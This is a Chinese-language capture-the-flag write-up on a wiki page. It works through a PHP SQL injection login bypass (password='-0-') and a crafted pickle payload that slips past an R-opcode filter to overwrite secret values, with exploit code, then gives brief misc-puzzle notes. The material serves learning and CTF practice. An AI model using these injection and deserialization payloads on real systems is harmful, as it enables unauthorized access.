-
Notifications
You must be signed in to change notification settings - Fork 0
GXZY_WP
Stack_sqx edited this page Mar 10, 2020
·
5 revisions
背景阐述,本人系Web选手,解出3道web方向题目,客串杂项选手,解出一道Misc方向
审计代码
<?php
// ...
$pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
$stmt->execute();
$result = $stmt->fetchAll();
if (count($result) > 0) {
if ($result[0]['username'] == 'admin') {
include('flag.php');
exit();
// ....
有个值得注意的东西->PDO 什么是PDO呢? PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。 PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据 好的,这个源代码,一眼看上去,有点预编译的意思,但是呢,这儿并没有把参数设置为False,所以预编译不复存在 那么,这儿该采取什么注入姿势呢 记住了,所有类型的注入姿势,都是基于查询库,表,列语句 先判断是否有注入点,输入1正常,输入1'报错 注入姿势の选择 使用了个类型转换进行注入
username=admin&password='-0-'
也有直接拿'-'注入也可 实际上执行的查询语句是where password = 0
这个题一开始因为有个假过滤被折磨半天2333 (其实还是因为人菜啦
import base64
import io
import sys
import pickle
from flask import Flask, Response, render_template, request
import secret
app = Flask(__name__)
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"
sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
重头戏来了
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
No RCEs 断人生路啊,但是,别急,仔细观察 这个地方需要选手用pickle赋值secret pickle:
c__main__\nsecret\np0\n0g0\n(}(S'name'\nI1\ndtbg0\n(}(S'category'\nI1\ndtb(I1\nI1\ni__main__\nAnimal\np3\n0g3\n.
因为只是赋值,不需要执行,所以可以不用R 附上exp
import base64
import pickle
class Animal:
def __init__(self, name, category):
self.name = "file"
self.category = "read"
def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()
#
s=b'''c__main__\nsecret\np0\n0g0\n(}(S'name'\nI1\ndtbg0\n(}(S'category'\nI1\ndtb(I1\nI1\ni__main__\nAnimal\np3\n0g3\n.
'''
pickle_data = base64.b64encode(s).decode()
print(pickle_data)
把三个定位点p上去 扫描后没得到解压密码,很难受还被出题人嘲讽了一番 是个伪加密2333 打开隐藏信息 听了一下午,果断向精通信号与系统的学长求助 最终电话号码187485618521 前面一段5个,后面一段7个字母
然后交flag
不对啊,很难受
回去WinHex二维码
下午更新FMKQ解法